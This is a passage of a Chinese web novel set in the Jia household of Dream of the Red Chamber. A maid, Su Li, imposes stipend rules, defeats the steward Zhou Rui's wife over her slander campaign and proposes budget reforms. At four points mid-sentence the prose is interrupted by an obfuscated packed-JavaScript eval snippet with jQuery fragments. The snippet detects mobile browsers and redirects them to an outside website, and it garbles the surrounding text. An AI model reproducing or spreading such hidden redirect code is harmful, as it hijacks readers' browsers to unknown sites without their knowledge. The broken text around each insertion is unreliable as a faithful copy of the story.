她没有丝毫怠慢。第一件事，便是调阅了近两年所有月例发放的记录。她发现，发放过程极不规范。各房主子、丫鬟仆役的等级、数额虽有定例，但实际发放时，常因“一时不便”、“另有开销”等名目，出现预支、克扣、延迟的情况。尤其是底下那些无权无势的粗使仆役，月钱被管事们以各种理由盘剥一层已是常事，发放时间更是没个准信。 此外，各房额外的日常开支，如笔墨纸砚、头油脂粉、零星修补等，账目也颇为混乱，常有超支或去向不明的情况。 苏璃心中有了计较。她没有立刻召集所有管事训话，而是先和平儿仔细商议，重新拟定了一份清晰明确的《月例及日常开支条例》。 条例规定：每月初五，为固定发放日，风雨无阻。各房各人例银，按登记在册的等级定额发放，任何人不得以任何理由预支、克扣、拖延。领取时，需本人或指定委托人签字画押。额外开支，需提前申请，注明用途，经核准后方可支取，且需在事毕后三日内凭单据核销。 条例拟定后，她先呈给王熙凤过目。王熙凤看罢，只说了两个字：“甚好。” 有了王熙凤的首肯，苏璃便开始行动。这日，她召集所有涉及月例银钱发放的管事媳妇到议事厅。 周瑞家的等人磨磨蹭蹭而来，脸上带着或明或暗的不忿。她们倒要看看，这苏璃能玩出什么花样。 苏璃端坐于侧位，并把主位空着，以示尊卑，面前摊开着新拟的条例和账册。她目光平静地扫过众人，开门见山：“奉二奶奶之命，自本月起，府中月例及部分日常开支发放，依此新例行事。” 她示意身后的小丫鬟将誊抄好的条例分发给众人。 众人接过，有的漫不经心，有的仔细观看，看着看着，脸色都变了。条例条条框框，将过去那些可以灵活操作的“灰色地带”堵得死死的！ “苏璃姑娘，”吴新登家的忍不住开口，语气带着为难，“这条例……怕是太过严苛了些。府里事务繁杂，偶尔有些急用，或是下面人一时手头不便，预支些许也是常情。若一概不准，只怕人心不稳啊。” 来旺家的也帮腔：“是啊，而且这签字画押……许多粗使的婆子丫头，连自己的名字都不会写，如何画押？” 周瑞家的冷眼旁观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908592|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，并不说话，只等着苏璃应对。 苏璃早有准备，不疾不徐道：“吴妈妈所言差矣。无规矩不成方圆。正因府中用度繁杂，更需清晰章法，避免混淆。若有急用，可依条例申请额外开支，说明缘由，核准后即可，并非一概不准。至于签字画押，”她顿了顿，“不会写字无妨，可按指印为凭。关键在于留下凭证，账目清楚，对大家都好。” 她语气平和，却寸步不让，将众人的质疑一一驳回。 “那……若是各房主子临时想要些什么，不在定例之内，又当如何？”一个管事媳妇问道。 “同样需申请，核准，支取，核销。”苏璃回答得干脆利落，“一切依例而行。若主子们觉得不便，自有二奶奶定夺。我们的本分，是将账目理清，将银子用在明处。” 她不再给众人辩驳的机会，直接开始布置：“从今日起，请诸位妈妈、嫂子，将各自负责房院的人员名册、等级定例，三日内重新核对清楚，报到我这里。逾期不报，或所报不实，该房月例暂缓发放。” 又转向负责银钱的：“库上支取银两，需凭我签字画押的条子。发放时，需按我核准的名册数额，当场签字画押或按指印。余银当日缴回，不得滞留。” 一条条指令清晰明确，将权力牢牢收拢，也将责任划分得清清楚楚。 周瑞家的等人脸色愈发难看。她们惯用的那些腾挪手段，在这套严密的流程面前，几乎毫无施展余地。这苏璃，哪里是来商量的？分明是来夺权立威的！ “若没有其他疑问，便按此执行吧。”苏璃合上账册，目光再次扫过众人，语气虽淡，却带着不容置疑的威压，“二奶奶最重规矩，望诸位莫要自误。” 议事散罢，众人面色各异地离去。周瑞家的走在最后，回头深深看了苏璃一眼，那眼神冰冷刺骨，带着毫不掩饰的怨毒。 苏璃恍若未见，只是低头整理着桌上的文书。她知道，这三把火已然点燃，势必灼痛许多人的利益。周瑞家的等人的反击，恐怕不会远了。 然而，她更清楚，唯有建立起清晰公正的秩序，才能真正堵住漏洞，也才能……在这风雨飘摇的贾府中，为自己赢得更多的筹码和生机。 新官上任的三把火，烧的不只是陈规陋习，更是通往未来的一条险路。 20. 建立新规 新规如同投入油锅的水滴，瞬间激起了无数细小而激烈的爆响。 赵姨娘是第一个跳出来的。当她从彩云口中得知，往后连给环儿多要些纸笔、给自己添盒胭脂都需“申请核准”，登时就炸了毛。她不敢直接去找王熙凤，便一股脑冲到王夫人院里，哭天抹泪。 “……太太！您可要给我做主啊！这府里如今是越发没了规矩了！一个不知哪儿冒出来的丫头，竟也敢管到主子头上来了！连咱们屋里用点东西都要看她脸色，这、这成何体统啊！定是那起子黑了心肝的，挑唆着凤丫头，变着法儿地作践我们母子！”赵姨娘哭得涕泪横流，仿佛受了天大的委屈。 王夫人捻着佛珠，眉头微蹙。她对苏璃并无恶感，甚至因她替王熙凤分忧而略有欣赏。但赵姨娘这般闹，又牵扯到“规矩”、“主子体面”，她身为当家主母，却不能置之不理。 “行了，哭哭啼啼像什么样子。”王夫人语气平淡，“凤丫头管家，自有她的章法。那丫头也是奉令行事。若真是为了府里好，些许不便，忍忍也就罢了。” 这话听着是训斥赵姨娘，实则并未否定苏璃，只是让她“忍忍”。赵姨娘得了这软钉子，心中更恨，却不敢再闹，只得悻悻退下，回头越发变本加厉地挑剔屋里丫鬟，指桑骂槐。 主子层面，有王夫人这模糊的态度挡着，暂时还算平稳。真正的风浪，涌现在第一次月例发放当日。 发放地点设在倒座厅里。厅外，各房各院的丫鬟婆子早早排起了长队，议论纷纷，对新规矩充满好奇与不安。 厅内，几张长案拼起，苏璃端坐主位，旁边是平儿压阵，另有几个识字的丫鬟帮忙登记、核对。周瑞家的、吴新登家的、来旺家的等管事媳妇，面色不善地站在一旁“协理”。 时辰一到，发放开始。 前几房主子院里的大丫鬟，如袭人、鸳鸯、金钏等，都是识文断字、通晓事理的，虽有疑惑，但见平儿在侧，苏璃又解释得清楚，便都依言签字画押，领了银子，过程还算顺利。 轮到那些粗使婆子、小丫鬟时，麻烦便来了。 “什么？还要按手印？我……我手脏……”一个刚做完粗活的婆子畏缩道。 “姑娘，我不会写字，这名字……” “这数目对不对啊？以往好像没这么多？是不是算错了？” “能不能快些？后头还等着呢！” 七嘴八舌，嘈杂一片。负责登记的丫鬟被问得头昏脑涨，队伍开始有些混乱。 周瑞家的见状，眼中闪过一丝得意，上前一步，故作关切地扬声道：“都静一静！乱糟糟的像什么话！苏璃姑娘定的新规矩，自然有她的道理，你们照着做便是！只是这许多人，又不识字，一个个问下来，怕是要耽搁到天黑去了！耽误了各房的差事，可怎么好？” 她这话看似帮腔，实则是火上浇油，点出了新规“效率低下”的弊端，将压力引向苏璃。 吴新登家的也阴阳怪气地附和：“是啊，以往咱们发月钱，哪有这般麻烦？都是按册子叫名，点了银子便走，多利索！如今这般……唉，真是越活越回去了。” 底下排队的仆役听了，抱怨声更大了，看向苏璃的眼神也带上了不满。 平儿蹙眉，正要开口。苏璃却已站起身。 她没有理会周瑞家的等人，而是走到厅前，声音清亮，压过了嘈杂：“诸位稍安勿躁。新规初行，有所不便，在所难免。” 她指着旁边一块早已准备好的木牌，上面用炭笔写了大大的“壹贰叁肆伍陆柒捌玖拾佰仟”等数字，以及“领讫”两个大字。“不识字无妨。待会儿叫到名字，上前确认筐中木签上刻的银子数目是否与你应得相符。若相符，便在这‘领讫’二字下按个指印。筐中另有已蘸好印泥的布卷，手指轻触即可，不会污了手。一人领完，下一人方可上前，避免错乱。” 她又对旁边帮忙的丫鬟道：“每发放完十人，便高声报一次累计人数和时辰，让大家心中有数。” 这番安排，既解决了不识字的问题，又考虑了卫生和秩序，还兼顾了透明度。众人听了，觉得似乎也没那么难，抱怨声小了下去。 苏璃又看向刚才说数目似乎不对的那个婆子，温声道：“这位妈妈觉得数目有异？无妨，你将以往所得，与这筐中木签数额，说与我听听，我为你核算。” 那婆子没想到苏璃如此和气，反倒不好意思了，嗫嚅道：“也……也差不多，许是我记岔了……” 秩序稍定，发放继续。有了明确的流程和解释，速度虽然比往日慢些，却有条不紊。按指印的环节，因准备充分，并未造成太大耽搁。偶尔有小纠纷，苏璃也总能迅速公正地解决。 周瑞家的等人站在一旁，看着苏璃从容调度，将一场可能的混乱消弭于无形，脸色越来越难看。她们准备好的后续发难，竟似一拳打在了棉花上。 发放持续了将近两个时辰，终于接近尾声。绝大部分人都领到了月例，虽然过程新鲜，但银子实实在在到手，又见规矩公正，不少人心中的抵触反而化作了对新规的认可，至少，没人能再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908593|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无故克扣拖延了。 最后，轮到发放各管事媳妇们的月钱。周瑞家的、吴新登家的、来旺家的等人上前。 苏璃亲自核对名册，将她们的月例银子一一放入小筐。轮到周瑞家的时，苏璃拿起一块略大的木签，上面刻的数目正是周瑞家的一等管事月例。 周瑞家的瞥了一眼，伸手要去拿银子。 “周妈妈，”苏璃忽然开口，声音不高，却让周围瞬间安静下来，“按新规，领取月例，需签字或按印。请您在此处按个指印。” 周瑞家的手僵在半空，脸色陡然涨红。让她像个粗使婆子一样按手印？这简直是奇耻大辱！ “苏璃姑娘，”她强压怒火，声音从牙缝里挤出，“老身在这府里几十年，向来是领了银子便走，从无此例！你这规矩，莫非是针对我们这些老人不成？” 气氛骤然紧张。所有人的目光都聚焦过来。 苏璃神色不变，目光平静地迎向她：“周妈妈言重了。新规既定，人人皆需遵守，并无例外。今日所有领月例者，上至奶奶屋里的大丫鬟，下至浆洗的婆子，皆已按印为凭。规矩面前，一视同仁。若周妈妈觉得不便，或对新规有疑义，可向二奶奶陈情。但在二奶奶示下之前，还请按规行事。” 她的话不卑不亢，将“规矩”和“二奶奶”抬了出来，堵死了周瑞家的所有退路。若周瑞家的此刻拒绝，便是公然违抗王熙凤定下的新规。 周瑞家的胸口剧烈起伏，瞪着苏璃，眼中几乎喷出火来。她能感觉到周围那些或明或暗的目光，有嘲弄，有幸灾乐祸，也有畏惧。她知道，今天若按了这个手印，她在这府里积攒多年的体面，将荡然无存。可若不按…… 平儿适时地轻咳一声，温言道：“周妈妈，不过是按个指印留个凭证，并非难事。璃妹妹也是依例办事，您多体谅。” 周瑞家的脸色变幻不定，最终，在众目睽睽之下，她颤抖着手，狠狠地在“领讫”二字下按下了鲜红的指印。然后，几乎是用抢的，抓过那小筐银子，头也不回地冲出厅去。 吴新登家的、来旺家的等人见状，哪还敢多言，纷纷灰溜溜地按了手印，领钱走人。 第一次月例发放，虽有波折，终是尘埃落定。新规，在众目睽睽之下，算是立住了。 苏璃看着账册上那一个个鲜红的指印，长长舒了口气。这一关，算是过了。但她知道，周瑞家的今日受此大辱，绝不会善罢甘休。建立新规，如同筑堤，堵住了水流，却也积蓄了更大的压力。下一次的冲击，只会更加猛烈。 21. 雷霆手段 周瑞家的当日羞愤离府，接连两日未曾露面。府中表面平静，却有一股不安的暗流在涌动。关于那日她按指印的细节，被添油加醋地传遍了犄角旮旯，成了下人们茶余饭后最刺激的谈资。 “听说周妈妈气得脸都紫了，那指印按下去，跟血手印似的！” “可不是，几十年的老脸，一朝丢尽了！” “那苏璃姑娘也忒厉害了，连周妈妈都敢硬顶！” “厉害？等着瞧吧，周妈妈可不是吃亏的主儿……” 苏璃对这一切充耳不闻，只按部就班地处理着手中的账目。她知道，暴风雨前的宁静，往往最为压抑。周瑞家的绝不会就此罢休，只是不知她的反击会从何处而来。 就在这诡异的平静中，一则流言如同瘟疫般，悄无声息地从府外蔓延进来，起初只是门房小厮窃窃私语，渐渐竟连厨房采买的婆子都开始眼神闪烁地议论。 流言有两个版本。一个说苏璃仗着二奶奶宠信，在月例发放时苛扣银两，中饱私囊，连周瑞家这样的老管事都被她逼得活不下去。 另一个则更恶毒，影影绰绰地暗示，苏璃如此肆无忌惮地整顿财务、排挤老人，背后恐怕有王熙凤的默许甚至指使，是想趁着管家之便，将公中的银子悄悄挪作私用，填补她放印子钱或私置产业的亏空。 这流言如同淬了毒的蛛丝，看似无形，却黏腻阴险，直指要害。它不仅攻击苏璃，更将矛头隐隐对准了王熙凤。在贾府这样的深宅大院，“贪墨主家财物”和“排挤忠仆”是两桩极重的罪名，足以毁掉任何下人的前程，甚至动摇管家的威信。 平儿最先察觉到风声有异，她心思细腻，人缘又好，很快从几个相熟的下人口中探听到了大概，脸色顿时变了，急忙回禀王熙凤。 王熙凤正看着苏璃新呈上的一份庄子收益简报，闻言，凤眸骤然眯起，手中那页纸被捏得微微发皱。她没有立刻发作，只是周身的气压瞬间低了下去，连屋角的冰盆都似乎冷冽了几分。 “查。”她只吐出一个字，声音冷得像冰碴子，“给我查清楚，这脏水是从哪个阴沟里泼出来的！” 平儿领命，正要出去，王熙凤又叫住她，目光转向侍立在一旁、同样听到消息却面色沉静的苏璃：“你也去。” 苏璃心中一凛，知道真正的考验来了。这不再是府内规矩之争，而是涉及主子声誉的泼天大脏。若处理不好，不仅她自己万劫不复，连王熙凤都要受牵连。 “是。”她肃容应下。 调查并未大张旗鼓。苏璃和平儿分头行动。平儿利用她在府内深厚的人脉，从各房丫鬟婆子口中旁敲侧击，追溯流言的源头。苏璃则另辟蹊径，她换了一身不起眼的粗布衣裳，戴上帷帽，悄悄从后角门出了府。 她记得，周瑞家的女婿，便是京城里一家古董铺子的伙计，那铺子似乎与贾府也有些往来。流言既从市井而起，或许能从这些外围关联处找到蛛丝马迹。 她在街上看似随意地逛着，专挑茶肆、货郎聚集处停留，竖起耳朵。果然，在一处专做仆役生意的茶摊上，听到两个像是大户人家采买模样的人在低声交谈。 “……荣国府如今是越发不行了，连个管账的丫头都敢克扣月钱，逼走老人。” “可不是，听说那丫头凶得很，背后有二奶奶撑腰，想贪墨银子补自己的亏空呢……” “你从哪儿听来的？” “嗨，前儿在‘博古斋’听他们伙计闲聊说起的，他们东家好像跟荣国府一个姓周的管事是亲家，消息还能有假？” 博古斋！ 苏璃眼中寒光一闪。果然与周瑞家的有关！ 她不动声色，离开茶摊，又绕到博古斋附近观察。只见那铺子门面不大，却收拾得齐整，进出的客人看着也都有些身份。 她注意到，一个穿着体面、掌柜模样的人，送一位客人出门时，眼神鬼祟地四下张望，低声对那客人说了几句什么，客人脸上露出心领神会的笑容。 苏璃记下那客人的形貌，又在附近打听了一番，得知此人常与几个专在茶楼酒肆编造传播闲话的“篾片”相公来往。 线索渐渐清晰。流言是从博古斋这个点散出去的，经由那些专事传播的“篾片”，在仆役常去的市井之地发酵，再悄然传回府内。 苏璃将自己查到的线索与平儿那边汇合。平儿也查出，府内最初听到流言的几个门房和小厮，前几日都或多或少与周瑞家的或她手下的人有过接触，或是得了些小好处，或是被言语暗示。 人证、物证、动机、传播路径，几乎形成了一条完整的链条。 证据呈到王熙凤面前时，她正对着窗外的一丛竹子出神，脸上没有任何表情。但熟悉她的人都知道，这是她怒极的表现。 “好，很好。”王熙凤缓缓转过身，嘴角甚至噙着一丝笑，那笑容却让人心底发寒，“吃里扒外，散布流言，污蔑主子……周瑞家的，她真是好大的狗胆！” 她顿了顿，目光如电射向苏璃：“你说，此事该如何处置？” 苏璃知道，这是王熙凤在问她的态度，也是在看她能否狠得下心。此事因她而起，也需她来做个了断。 她抬起眼，目光清冽，声音平稳却带着斩钉截铁的力量：“流言蜚语，伤人无形，更损奶奶清誉。此事证据确凿，周妈妈难辞其咎。若不严惩，日后人人效仿，府规何在？奶奶威严何存？依奴婢之见，当立即拿人，当众审问，依家法处置，以儆效尤！” 她没有丝毫犹豫，也没有半分妇人之仁。对敌人仁慈，就是对自己残忍。周瑞家的既然敢用如此阴毒的手段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908594|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，就要有承受后果的准备。 王熙凤眼中闪过一丝激赏。她要的就是这份果决！ “平儿，叫林之孝带几个妥帖的人，立刻去周瑞家里，把人给我‘请’来！再去博古斋，把那掌柜和当日散播谣言的伙计，一并捆了送来！”王熙凤下令，雷厉风行，“传话下去，府中所有管事、有头脸的仆役，即刻到前厅集合！” 命令一道道传下去，整个荣国府瞬间被紧张的气氛笼罩。 不到一个时辰，形容狼狈的周瑞家的、以及博古斋的掌柜和一个面如土色的伙计，被推搡着带到了前厅。厅外院内，黑压压站满了府中下人，鸦雀无声，人人屏息。 王熙凤端坐正中，面沉如水。苏璃和平儿分立两侧。 没有冗长的审问，王熙凤直接将搜出的往来字据、查到的人证供词一一摆出，每拿出一件，周瑞家的脸色就白上一分。当博古斋伙计战战兢兢指认是周瑞家的女婿授意他们散布谣言时，周瑞家的终于瘫软在地，面无人色。 “你还有何话说？”王熙凤的声音不高，却如同冰锥，刺入每个人心底。 周瑞家的张了张嘴，却发不出任何声音，只剩绝望的颤抖。 “背主忘恩，造谣生事，坏我声誉，乱我家规。”王熙凤一字一句，宣判着她的罪行，“依家法，本应重责后撵出府去，永不录用。念你伺候多年，从轻发落——杖二十，革去一切职司，罚没一年月钱，打发到城外田庄做苦役！其家人，一并撵出府去！博古斋勾结府中恶奴，散播谣言，从今日起，断绝一切往来，永不交易！” 刑罚之重，令人咋舌。杖二十足以去半条命，革职罚钱更是断了生计，打发到庄子做苦役，等于流放，其家人也被牵连驱逐。这几乎是将周瑞家的和她那一系连根拔起！ 周瑞家的听到判决，眼白一翻，直接晕死过去。 立刻有粗壮婆子上前，将她拖了出去。院中众人噤若寒蝉，连大气都不敢喘。 王熙凤目光缓缓扫过众人，尤其在几个平日里与周瑞家的走得近的管事脸上停留片刻，看得她们腿脚发软。 “今日之事，你们都看到了。”王熙凤的声音响彻庭院，“在我手底下当差，忠心勤勉，我自然抬举。若有那等心怀鬼胎、吃里扒外、搬弄是非的，周瑞家的便是下场！” 她顿了顿，语气稍缓，却更显威严：“苏璃是我亲口提拔、委以重任的人。她的行事，便是我的意思。往后，若再让我听到半句污蔑主子、质疑规矩的闲言碎语，不管是谁，一律严惩不贷！” 说罢，她起身，拂袖而去。 苏璃跟着王熙凤离开，能感受到身后那无数道目光，惊惧、敬畏、复杂难言。她知道，经此一事，“苏璃”这个名字，将真正与王熙凤的威严绑定在一起，再无人敢轻易挑衅。 22. 菩萨心肠？ 杖责的沉闷响声和周瑞家的凄厉哀嚎，仿佛还在荣国府的庭院里回荡。 空气里弥漫着一种紧绷的寂静，下人们走路都踮着脚尖，说话压低了嗓子，眼神里是未曾消散的惊惧。 王熙凤的雷霆手段，像一场凛冽的秋霜，瞬间冻杀了所有蠢蠢欲动的苗头。再无人敢公开质疑新规，也无人敢再对苏璃有半分不敬。苏璃所到之处，遇到的皆是垂首敛目，恭称一声“璃姑娘”，那声音里带着实实在在的畏惧。 权柄空前稳固，但苏璃心底却没有半分轻松。她能感觉到这敬畏之下，那压抑着的、更深的东西——是兔死狐悲的寒意，是敢怒不敢言的怨愤，是无数双在暗处重新审视、评估、甚至带着更隐蔽敌意的眼睛。周瑞家的倒下，空出的不止是一个管事的职位，更是一个巨大的权力真空和利益重新分配的漩涡。而她，正处在这个漩涡的中心。 这日，苏璃去库房核对一批新收上来的绸缎。刚走到廊下，就听见两个正在擦拭栏杆的小丫鬟背对着她，低声啜泣着说话。 “……我娘在庄子上病得厉害，就指着我这点月钱抓药，这个月偏偏被罚了半个月……这可怎么好……” “谁让你哥哥不当心，打碎了二爷书房那个不值钱的笔洗……吴大娘也是，抓着一点错处就往死里罚……” “快别说了，小心被人听见……如今这府里，是越发难熬了……” 声音细弱，充满无助。苏璃脚步顿了顿，没有惊动她们，默默走开了。她知道，吴新登家的吴大娘是接了部分周瑞家空出来的差事，正急于立威。底下人稍有差池，便重罚以显权威。这种层层加压的恐惧，正在悄然蔓延。 午后，她去给王熙凤回话，路过王夫人院外的小花园，远远看见王夫人扶着玉钏儿的手在散步，邢夫人竟也在旁，两人似乎在说着什么。邢夫人脸上带着一种惯有的、略显刻薄的笑容，正低声对王夫人说着话，王夫人捻着佛珠，眉头微蹙，偶尔点头，神情有些心不在焉。 苏璃立刻避到假山后。隐约有只言片语飘来。 “……凤丫头如今是越发能干了，手段也厉害……” “终究是府里的下人，管教太过，失了宽厚，恐非福气……” “……府里老人，寒了心……” 声音断续，但意思却明白。苏璃心中一沉。王夫人果然对王熙凤处理周瑞家的方式有所不满，而邢夫人显然在趁机煽风点火。王夫人虽不管家，但她身为嫡母，她的态度至关重要。若她认为王熙凤过于“酷烈”，失了“宽厚仁德”，那对王熙凤的管家权威将是一种无形的削弱。 回到王熙凤处，苏璃斟酌着将所见所闻，隐去那两个小丫鬟的细节，只将王夫人与邢夫人交谈的异状委婉提了提。 王熙凤正对着一本账册出神，闻言，冷笑一声，将账册合上：“菩萨心肠？她们倒是会做好人！我若不狠，这府里的银子早被那些‘老人’搬空了！底下的人寒心？周瑞家的克扣他们月钱、盘剥他们的时候，怎么不见她们出来说句‘菩萨心肠’？” 她语气激愤，凤眸中闪着凌厉的光，但苏璃能看出，那凌厉之下，藏着一丝不易察觉的疲惫和……无奈。王熙凤再强，也需要在主母王夫人那里有立足的“理”。光是能干、能挣钱、能镇住下人还不够，她还需要一个“贤德宽厚”的名声。 苏璃沉默片刻，轻声道：“奶奶的辛苦，奴婢们都看在眼里。只是……堵不如疏。如今规矩已立，威严已显，或许……也该有些怀柔之举，让底下人看到，跟着奶奶，不仅有严法，也有恩恤。如此，那些闲言碎语，或可不攻自破。” 王熙凤挑眉看向她：“怀柔？如何怀柔？” 苏璃早有思量，缓缓道：“如今府中月例发放已上正轨，账目也清晰许多。奴婢粗略算过，因堵住了些漏洞，每月其实能省下些许银两。这些银子不多，但若用好了，却能收拢人心。比如，可在府中设个小药局，备些常用的丸散膏丹，丫鬟婆子们有个头疼脑热，不必自己花钱外头抓药，可凭对牌领用。再如，凡府中仆役，家有红白喜事，或遇天灾病祸，经核查属实，可由公中酌情给予少许抚恤帮衬。钱不必多，是个意思，让人知道府里并非全然无情。” 她顿了顿，又道：“还有，各房各院的份例用度，如今卡得严，有些地方或许确实不便。奴婢核查时发现，如赵姨娘处，环哥儿笔墨纸张耗费确实略多，而三姑娘处，针线绸缎用料却常有富余。若能稍作内部调剂，或准许以富余换不足，既免了浪费，也全了体面，堵了抱怨的嘴。” 这一番话，既有普惠的“小恩小惠”：药局、抚恤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908595|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又有针对性的“灵活调剂”，既维护了新规的严肃性，又体现了管理的弹性和人情味，成本不高，却能有效缓解底层的怨气，也能在主子层面，尤其是赵姨娘、探春等处落个好。 王熙凤听得眼中异彩连连。她没想到，苏璃不仅善于“破”，更精于“立”，不仅会算账，更懂人心。这“怀柔”之策，看似让步，实则是以退为进，巩固权力根基的高明手段。 “好一个‘堵不如疏’！”王熙凤脸上的郁气散了不少，露出赞许的笑容，“就按你说的办。药局、抚恤的章程，你来拟。各房份例调剂的事，你和平儿商量着办，拿个稳妥法子出来。” “是。”苏璃应下。 药局和抚恤的章程很快拟定，所需银两从公中“节省”项下列支，数额不大，却意义非凡。消息传开，下人们先是不敢置信，随即便是真心实意的感激。那些因小错被罚、家人有病无钱抓药的仆役，更是对苏璃和王熙凤感恩戴德。府中紧绷的气氛，悄然松动了一丝。 各房份例的灵活调剂，苏璃处理得极为谨慎。她先和平儿仔细核对了各房近半年的实际消耗，找出确实存在“不足”与“富余”的环节，然后才私下分别与相关主子或得力大丫鬟沟通，以“避免浪费、物尽其用”为由，提出内部调剂的建议，并保证记录清晰，绝无克扣。 探春通情达理，一听便明白其中关窍，大方允诺。赵姨娘虽仍嘀嘀咕咕，但见确实能给贾环多换些纸笔，又听说这是“璃姑娘体恤”，撇撇嘴，到底没再闹腾。 几件小事办下来，苏璃在府中的形象，悄然发生着变化。她不再仅仅是那个令人生畏的、“二奶奶手里一把刀”的璃姑娘，在一些下人眼中，她也成了能体察下情、愿意行方便的“善心人”。连王夫人偶尔从玉钏儿口中听到这些事，捻着佛珠的手也顿了顿，淡淡道：“凤丫头身边的人，倒不全然是只知严苛的。” 然而，苏璃深知，这点“菩萨心肠”的表象，如同在冰封的湖面上投下几颗小石子，涟漪终究有限。真正深沉的寒冰，并未融化。 这日傍晚，她回自己厢房的路上，隐约看见一个眼熟的身影匆匆消失在月亮门后，看背影，像是来旺家的。而那个方向……似乎是通往东院，邢夫人的住处。 苏璃脚步未停，心中却是一凛。 23. 开源节流策 暮春的风还带着寒意，荣国府账房里的算盘声却比往日更显急促。苏璃面前摊着厚厚几本账册，指尖在一行行泛黄的数字间划过，眉心越蹙越紧。 自处理完周瑞家的一事后，府中风波暂平，但账面上的危机却日渐显露。 各庄子夏粮未熟，青黄不接，报上来的多是欠收或恳请减免的呈文。外面几处铺面，除了王熙凤陪嫁的一两间尚能维持，其他多是寅吃卯粮，掌柜们变着法子要支取银子周转。而府中的开支，却像无底洞般只增不减，各房主子的日常用度、年节打点、人情往来、仆役月钱……桩桩件件，都是真金白银。 王熙凤虽未明言，但苏璃从她日渐频繁的蹙眉和与贾琏之间越来越不愉快的对话中，能清晰感受到那股沉重的压力。 这个看似鲜花着锦的国公府，内里的财务已到了悬崖边缘。 这日，王熙凤将苏璃叫到跟前，挥退旁人，指着桌上一叠各处催款的信函，声音里带着少见的疲惫：“你也看到了，如今是拆了东墙补西墙，都快没墙可拆了。你素日有主意，可有法子解这燃眉之急？” 这不是寻常问话，而是将她真正视作了谋士。 苏璃深吸一口气，知道展示真正价值的时候到了。她敛衽行礼，声音清晰而沉稳：“奶奶，府中用度浩繁，单靠节流，终究是杯水车薪，且易生怨怼。依奴婢浅见，需‘开源’与‘节流’并举，方是长远之计。” “哦？”王熙凤凤眸微亮，“细细说来。” 苏璃早有准备，不疾不徐道：“先说‘节流’。其一，可核查各房份例，并非削减，而是细化。例如，笔墨纸砚，按主子、公子、姑娘等级及实际课业用量核定，超支部分，若需添补，可从其月例或私房中出，公中不再无限支应。其二，各房丫头婆子人数，亦可重新核定，冗员或可酌情放出一些，或转做其他活计，减少月钱支出。其三，府中日常采买，奴婢观之，多有浪费。可试行‘竞价采买’，将常需物品列出，定期招几家信得过的商号报价，择价廉物美者供货，既省银钱，也防贪墨。” 这些都是现代管理中常见的手段，在此刻说出，却显得格外清晰务实。 王熙凤听得连连点头，这些法子虽会触动一些既得利益，但确实能切中要害地省下银子。“那‘开源’呢？”她更关心这个。 苏璃顿了顿，声音压低了些：“开源之道，需更为谨慎。奴婢斗胆建言，或可从三处着手。” “第一，府中田庄，产出多是粮食，价贱利薄。如今京中富贵人家，多喜南方的时鲜果品、精细米粮，以及海外传来的稀罕物事。咱们的庄子，能否辟出部分田地，试种些京畿少见的花卉、果蔬？或是与江南有门路的商号合作，将南边的时鲜物产运至京中发卖？即便不成，所产也可供府中使用，节省采买。” “第二，”她声音更轻，“奶奶手中几处陪嫁铺面，地段尚可。如今多是做些绸缎、杂货，利润寻常。奴婢听闻，京中近来兴起一种‘书寓’，并非秦楼楚馆，而是清雅茶舍，内有说书先生讲些新话本，兼卖些笔墨雅玩，吸引不少文人士子、闺阁女眷消遣。咱们或可择一处铺面，改做此等营生，请可靠之人打理，所费不多，却是个长久进项，也……不伤体面。” “第三，”她抬起眼，目光清澈，“府中库房，历年积压了许多用不上、却又弃之可惜的物件，如旧年尺头、过时摆设、老旧家具等，堆着也是白占地方，还须人力打理。不如定期清理，将那些实在用不着的，悄悄发卖出去，折现银子。此事需做得隐秘，分批出手，选可靠的中人，免得落人口实。” 一番话，条分缕析，既有堵漏之策，又有生财之道，更难得的是顾及了贾府这样的勋贵门第最看重的“体面”，将可能的风险都考虑了进去。 王熙凤听得怔住了。她掌管荣国府以来，殚精竭虑，无非是催租子、放利钱、克扣用度这些旧法子，何曾听过这般系统又新颖的谋划？这已不仅仅是丫鬟的见识，便是寻常男子，也未必有这般眼界和胆魄！ 